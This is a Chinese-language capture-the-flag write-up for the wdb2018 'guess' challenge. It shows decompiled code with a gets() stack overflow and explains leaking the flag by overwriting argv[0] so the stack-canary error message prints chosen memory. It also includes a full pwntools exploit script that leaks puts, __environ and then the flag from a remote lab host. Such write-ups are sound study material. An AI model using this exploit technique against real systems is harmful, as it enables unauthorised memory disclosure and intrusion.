wdb2018_guess(stack smash,__environ獲取棧變數)
阿新 • • 發佈:2020-12-17
checksec:
開啟了Canary
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] int v5; // [rsp+1Ch] [rbp-84h] __int64 v6; // [rsp+20h] [rbp-80h] __int64 v7; // [rsp+28h] [rbp-78h] char buf; // [rsp+30h] [rbp-70h] char s2; // [rsp+60h] [rbp-40h] unsigned __int64 v10; //[rsp+98h] [rbp-8h] v10 = __readfsqword(0x28u); v7 = 3LL; LODWORD(stat_loc.__uptr) = 0; v6 = 0LL; sub_4009A6(); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt"); _exit(-1); } read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); puts("This is GUESS FLAG CHALLENGE!"); while ( 1 ) { if ( v6 >= v7 ) { puts("you have no sense... bye :-) "); return 0LL; } v5 = sub_400A11(); if ( !v5 ) break; ++v6; wait((__WAIT_STATUS)&stat_loc); } puts("Please type your guessing flag"); gets(&s2); if ( !strcmp(&buf, &s2) ) puts("You must have great six sense!!!! :-o "); else puts("You should take more effort to get six sence, and one more challenge!!"); return 0LL; }
sub_400A11:
__int64 sub_400A11() { unsigned int v1; // [rsp+Ch] [rbp-4h] v1 = fork(); if ( v1 == -1 ) err(1, "can not fork"); return v1; }
很明顯,gets存在棧溢位。flag一開始就被寫進棧中。我們需要利用canary報錯的資訊洩露flag。
canary檢測到棧溢位後的報錯資訊打印出了程式名,實際上這個檔名是由argv[0]指向的。只要通過棧溢位用自己構造的
字串地址覆蓋掉argv[0]就能列印相應的字串。
關於_environ:https://blog.csdn.net/chennbnbnb/article/details/104035261
我們還不知道偏移是多少,需要通過_environ找到偏移。獲取_environ的地址需要先洩露出libc。
所以總計要三次溢位。程式剛好fork了三次。
計算出輸入引數的地址到argv[0]的偏移為0x128
第一次溢位獲取puts地址:
payload='a'*0x128+p64(puts_got) a.sendline(payload) puts_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(puts_addr) libc_base=puts_addr-libc.sym['puts'] environ=libc_base+libc.sym['__environ']
第二次溢位洩露_environ地址:
payload='a'*0x128+p64(environ) a.sendline(payload) environ_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(environ_addr)
本地除錯(sad是我本地flag.txt的內容),算出flag和environ的偏移為0x168
第三次溢位列印flag:
payload='a'*0x128+p64(environ_addr-0x168) a.sendline(payload) #gdb.attach(a) a.interactive()
exp:
#!/usr/bin/python #coding:utf-8 from pwn import * from struct import pack a=remote("node3.buuoj.cn",25266) #a=process("/root/guess",env = {"LD_PRELOAD": "./libc.so.6"}) libc=ELF("/root/libc-2.23.so") elf=ELF("/root/guess") #puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] #context(os='linux',log_level='debug') payload='a'*0x128+p64(puts_got) a.sendline(payload) puts_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(puts_addr) libc_base=puts_addr-libc.sym['puts'] environ=libc_base+libc.sym['__environ'] payload='a'*0x128+p64(environ) a.sendline(payload) environ_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(environ_addr) payload='a'*0x128+p64(environ_addr-0x168) a.sendline(payload) #gdb.attach(a) a.interactive()
成功getflag: